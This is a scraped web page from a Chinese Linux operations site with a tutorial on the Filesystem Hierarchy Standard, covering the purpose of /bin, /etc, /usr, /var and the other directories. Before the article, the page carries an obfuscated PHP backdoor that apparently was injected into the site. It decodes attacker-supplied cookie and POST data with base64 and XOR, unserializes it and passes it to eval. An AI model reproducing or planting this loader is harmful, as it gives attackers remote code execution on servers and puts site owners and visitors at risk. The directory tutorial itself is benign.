$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} FHS文件系统各目录功能 | Linux运维部落

FHS文件系统各目录功能

前言


FHS将文件根据不同的用途和特性分成了可共享的(shareable)和不可共享的(unshareable),可变的(variable)和静态的(static)。不同的文件位于不同的目录里面,将目录分开了将有利于对文件的管理。


文件系统


  • 可共享的

文件可以被存储于某一个主机上,然后供其他主机使用。如果想访问其他主机上可共享的文件,可以将其他主机目录挂载到本地目录。如:/usr,/opt等。

  • 不可共享的

不可被共享的,如本地配置文件的。如:/boot,/etc等。

  • 静态的

如lib、bin目录等,除了管理员账户外其他用户都不能访问的文件。静态文件还可以为一些只读设备上面的文件。如:/usr,/etc。

  • 可变的

如/var目录等,用户可以修改的文件。如:/var等。

共享和静态是两个纬度的属性,一个目录可以分别具有两种属性,如/boot目录,为不可共享的且静态的,/urs为可共享的且静态的。

FHS,Filesystem Hierarchy Standard(文件系统目录标准)的缩写,多数Linux版本采用这种文件组织形式。

根目录

根目录需要保证能引导系统启动,且可以恢复、还原、修复系统。

引导启动:根目录存放了程序、配置、引导加载信息等一些必要的信息。

恢复系统:根目录存放了一些诊断和修复程序信息。

还原系统:根目录存放了可以通过备份还原系统的程序信息。

FHS
建议将根目录分区设置得小一点。一方面根目录经常通过比较小的设备安装,没必要太大。另一方面,根目录存放的是系统内核和特定的配置等信息,通常根目录是
不能共享的。较小的根目录空间,可以服务器或工作证只需要比较小的本地空间即可。如果将根目录设置成一个比较大的空间,有可能会出现一些跟根目录较小的程
序不相容的情况。而且根目录存放的是非常重要的文件和信息,较大的空间意味这更有可能出现根目录磁盘损坏的可能。

目录结构

如下的文件目录或目录连接是需要出现在根目录(“/”)下的:

其中,要求存在的有如下目录:

/

|—/bin

|—/boot

|—/dev

|—/etc

|—/lib

|—/media

|—/mnt

|—/opt

|—/sbin

|—/srv

|—/tmp

|—/usr

|—/var

可选择的,而且FHS建议需要有的目录有:

/

|—/home

|—/lib<qual>

|—/root

  • /boot : 静态的引导加载程序

/boot目录是启动过程中非常重要的目。/boot 存放系统在引导过程中需要的所有数据。引导过程不需要的配置、映射程序等可以不在里面。/boo的数据在内核启动用户模式之前就会被用到。/boot 包含了磁盘的主引导程序和文件映射。

操作系统的内核必须在 / 或者 /root 里面。

  • /bin : 基础的用户命令二进制文件

/bin 包含了管理员和用户都会用到的命令。/bin目录下的命令被要求可以在不装载其他文件系统的情况下(单用户模式)使用。/bin目录下同时还包含可以被其他脚本直接应用的命令。


/bin里面常见的必须有的命令有,权限管理(su、pwd、chmod),文件操作(cat、cp、mv、rm),目录操作(ls、mkdir、
rmdir),进程管理(ps、kill)等。还有一些FHS建议需要的命令有网络管理(netstat、ping)、文件压缩(tar)等命令。

为了能兼容LinuxBourne Shell命令,在/bin/sh里面存放的命令实际上不是真正的二进制文件,而是指向了真正能执行的shell命令的链接。

  • /sbin : 系统文件

/sbin 目录存放了供系统管理员使用的命令或工具。/sbin 包含了供系统引导启动、修复、还原的文件。

为了更好的管理命令供某些特定的人使用还是给普通用户使用,同时也是为了做好权限管理和系统安装,划分了/bin 和 /sbin 两个目录。一般情况下,如果普通用户都会用到的指令就会放到 /bin 下面。除非特定的用户或用户组,不然禁止使用 /sbin下的指令。

  • /lib : 基础共享库函数和内核模块

/lib 目录存放了在引导启动以及执行root命令需要的二进制文件。

  • /lib<qual> : 用户替换的基础库函数

/lib<qual> 为 /lib 目录下的一种或多种格式,用于支持多种文件格式(32位或64位)的库函数。

一般情况下/lib<qual> 目录会被命名为 /lib32 或 /lib64 。

  • /dev : 设备文件

/dev 目录存放了设备文件。

  • /etc : 基于主机的系统配置

/etc 目录存放配置文件。/etc 存放的配置文件指的是本地的配置。/etc 存放的是可以控制程序的运行配置,不允许在/etc 目录下存放可执行的文件。

  • /opt : 附加程序的软件包

/opt
安装附加程序的软件包的目录。软件包安装到/opt
下时,静态文件都被放到/opt/<package>(package为软件的名称)目录下。/opt的几个子目录/opt/bin,
/opt/doc, /opt/include, /opt/info, /opt/lib,
/opt/man是预留给本地管理员使用的。/opt底下的软件如果有变量则安装在/var/opt里面,如果有配置则安装在/etc/opt 里面。

  • /root : root用户的home目录

/root 目录是root账户的home目录,一般情况下不建议除了管理员账户之外的其他用户访问和使用。

  • /home : 用户目录

/home是基于站点的文件系统,根据不同站点内容可能不一样。因此,程序设计的时候不要依赖于/home目录的存储位置。

例如小系统可能在/home目录底下会根据用户划分子目录,如/home/jack、/home/tom等。大型一点的服务器系统,在/home 目录底下会先划分用户组在划分用户子目录,如/home/guest/jack等。

  • /usr : 系统软件资源

usr为Unix Software Resource的缩写,存放了系统的软件资源。管理员安装的软件主要存放在/usr目录下。所以/usr 是一个占用空间比较大的目录。

/usr 为一个可共享、只读的文件夹,也就是说在两个符合FHS标准的主机间,/usr可以被共享,但是不能被写入信息。所以基于本机的数据不允许放在/usr底下,同时/usr尽量不要存放较大的文件。

/usr下有几个子目录比较重要:

/usr/bin:多数用户命令

/usr/lib:软件或程序的库文件

/usr/sbin: 不太重要的系统指令

  • /var : 动态文件目录

/var 存放了动态数据,如系统缓存、日志文件、临时文件等。

  • /srv : 本系统为网络服务提供的数据

/srv 包含了本系统为网络服务提供的数据。/srv 目录方便用户通过网络查找并范围本地的数据,同时也为本地数据能根据只读、可写、脚本等划分不同的目录。

目前为止,/srv 目录下的子目录没有标准,如可以通过协议命名 /srv/www,/srv/ftp,如果是大型服务器,也可以根据业务内心划分,如/srv/physics/www等。所以程序在运行的过程中,不能依赖于/srv的目录结构。

  • /media : 移动装置挂载点

/media作为移动装置的挂载点(如软盘、CD roms等)。有时候也会以/mnt、/cdrom等目录作为装置的挂载点,如果全部挂载到根目录 / 下,会导致根目录存在大量的移动装置子目录了。有时候也会将/mnt 作为移动装置的临时挂载点。

常见的目录有/media/cdrom,/media/floppy 等。

  • /mnt : 临时挂载目录的挂载点

/mnt 目录作可以在管理员需要的时候作为临时的挂载点。 /mnt 不能被需要安装的程序所用。

  • /tmp : 临时文件目录 /

/tmp 作为程序在运行过程中临时文件的地方,运行程序不要串改了其他程序的文件。

/tmp 重启后可能会被系统清除掉,所以要重要的信息要保存到其他地方。

原创文章,作者:Zero,如若转载,请注明出处:http://www.178linux.com/52024

(2)
上一篇 2016-10-17 08:35
下一篇 2016-10-17 08:36

相关推荐

  • gawk基础

     一、gawk 是什么 在了解gawk之前,先了解一下文本三工具      文本过滤工具:grep|egrep|fgrep   其中fgrep不支持正则表达式 1.行编辑器:sed      sed 有两种空间   模式空间    保持空间 2. 文…

    Linux干货 2016-06-24
  • 教你使用rpm、yum、编译等方式安装软件

    一、什么是包管理器?     很多人都不知道包管理器的概念,首先我们要了解软件是如何运行的,我们这里介绍C程序如何实现从代码到执行程序的过程。         程序源代码–> 预处理–> 编译&#8211…

    Linux干货 2016-03-09
  • 关于大型网站技术演进的思考(七):存储的瓶颈(7)

    原文出处: 夏天的森林  本文开篇提个问题给大家,关系数据库的瓶颈有哪些?我想有些朋友看到这个问题肯定会说出自己平时开发中碰到了一个跟数据库有关的什么什么问题,然后如何解决的等等,这样的答案没问题,但是却没有代表性,如果出现了一个新的存储瓶颈问题,你在那个场景的处理经验可以套用在这个新问题上吗?这个真的很难说。 其实不管什么样的问题场景最…

    2015-03-11
  • Linux用户和组管理

    进程以其发起者的身份运行; 进程对文件的访问权限,取决于发起此进程的用户的权限;   系统用户:为了能够让那后台进程或服务类进程以非管理员的身份运行,通常需要为此创建多个普通用户;这类用户从不用登录系统;     groupadd命令:添加组   groupadd [选项] group_name   -g G…

    Linux干货 2016-11-21
  • 学习总结

    课上练习整理

    Linux干货 2017-11-19
  • Mariadb数据库复制系列(五):基于SSL的复制

       实验五:基于SSL的主从复制功能的实现 在mysql服务器之间复制数据,默认情况下都是基于明文的,在有些场景中,明文传输会造成严重的数据安全隐患,因此,需要对mysql服务器之间的复制时的传输进行加密,传输加密方式可以基于SSL的会话进行 1、实验环境 2、私有CA的搭建 3、在主节点node72上生成证书签署请求、发送到私有CA服务器 4、在从节点n…

    Linux干货 2016-11-24